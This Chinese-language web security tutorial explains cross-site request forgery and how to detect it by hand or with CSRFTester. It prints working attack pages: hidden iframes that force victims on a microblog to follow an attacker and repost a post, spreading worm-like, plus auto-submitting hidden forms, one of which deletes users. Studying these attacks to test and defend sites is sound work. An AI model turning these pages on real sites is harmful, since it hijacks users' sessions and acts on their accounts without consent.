標籤:協助 自己 type 抓包 建立 攻擊 for 原理 blank
CSRF攻擊:攻擊者構造合法的HTTP請求,隨後利用使用者的身份操作使用者帳戶的一種攻擊方式。
一、CSRF攻擊原理
CSRF的攻擊建立在瀏覽器與Web伺服器的會話中;欺騙使用者訪問URL。
二、CSRF攻擊情境(GET)
例:
http://www.example.com是全球最大的微博平台,一次偶然的情況,駭客TOM對微博的收聽功能做了抓包
GET /listen?uid=218805&listenid=100 HTTP/1.1 Host: www.example.com
TOM分析uid代表自己,listenid代表被收聽使用者。
隨後設想可以直接構造一個URL:http://www.example.com/listen?uid=218805&listenid=228820
但是別人的ID是TOM無法得知的,因此嘗試直接構造URL:http://www.example.com/listen?listenid=228820,實驗成功,就算無uid,訪問此URL也可以成功收聽228820號使用者。
於是TOM準備在微博平台製造一個蠕蟲攻擊,TOM在微博平台發表了有誘惑性的微博:誘導使用者單擊這個URL連結。
進一步,TOM心想讓每個使用者都協助自己發站內信,或者是轉寄微博,因此再一次攔截資料包:
GET /publish?id=928978 HTTP/1.1 Host: www.example.com
因此說只要使用者訪問http://www.example.com/publish?id=928978,就可以自動轉寄這條微博。
新的問題:如何讓使用者單擊一個URL就同時訪問這兩個URL?
TOM構造了一個單獨的HTML頁面open.html
<html> <head> <title> 逗你玩的。。。 </title> </head> <body> 你上當了,這不過是個玩笑。<a href="http://www.example.com">單擊我返回</a> <iframe src="http://www.example.com/listen?listenid=228820" frameborder="0" width="0px"/> <iframe src="http://www.example.com/publish.php?id=928978" frameborder="0" width="0px"/> </body> </html>
當使用者A單擊open.html後,就會自動收聽TOM使用者,並且把這篇文章轉寄到自己的微博中,A的好友B看到後可能也會點擊,這樣就陷入了迴圈。
三、CSRF攻擊情境(POST)
使用POST方法,一樣存在CSRF攻擊的可能,只不過增加了攻擊的難度。
例:
POST /publish HTTP/1.1 Host:www.example.com listenid=228820
攻擊者可以構造類似如下的頁面,post.html
<html> <head> <title> post data </title> </head> <body> <form id="myform" method="post" action="http://www.example.com/publish"> <input type="hidden" name="listenid" value="228820"> </form> <script> var myform = document.getElementById("myform"); myform.submit(); </script> </body> </html>
在post.html中構造一個form表單,然後利用JavaScript自動認可表單。
四、CSRF的檢測
檢測CSRF攻擊主要分為兩種:手工檢測和半自動檢測。全自動CSRF工具的誤判率較大,不予考慮。
4.1 手工檢測
在檢測CSRF漏洞時,首先需要確定的一點是:CSRF只能通過使用者的正規操作進行攻擊,實際上就是劫持使用者操作。所以,在檢測前首先需要確定Web應用程式的所有功能,以及確定哪些操作是敏感的,比如修改密碼、轉賬、發表留言等功能。
確定了敏感性操作後,使用這項“功能”攔截HTTP請求,比如,刪除使用者操作URL為:http://www.example.com/delUser.action?id=1
編寫CSRF POC為:
<html> <body> <form name="myform" action="delUser.action" method="GET"> <input type="hidden" name="id" value="5"/> </form> <script> var myform = document.getElementById("myform"); myform.submit(); </script> </body> </html>
CSRF漏洞也可以理解為:伺服器到底有沒有執行POC的請求,如果已執行,則代表存在CSRF漏洞。
4.2 半自動檢測
使用工具CSRFTester,能夠記錄請求的每個URL,並且自動產生 CSRF POC。
WEB安全--CSRF剖析